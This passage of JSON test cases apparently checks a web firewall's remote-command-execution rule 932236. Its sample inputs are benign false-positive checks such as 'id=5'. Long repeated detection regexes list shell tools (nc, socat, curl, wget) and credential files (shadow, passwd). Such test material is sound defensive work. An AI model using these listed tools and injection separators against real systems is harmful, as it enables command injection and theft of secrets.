x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "False positive with word unique" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "id=5\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\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(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "False positive with common argument value/name `id`." } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=mail-unread\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"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\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|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\\),<>\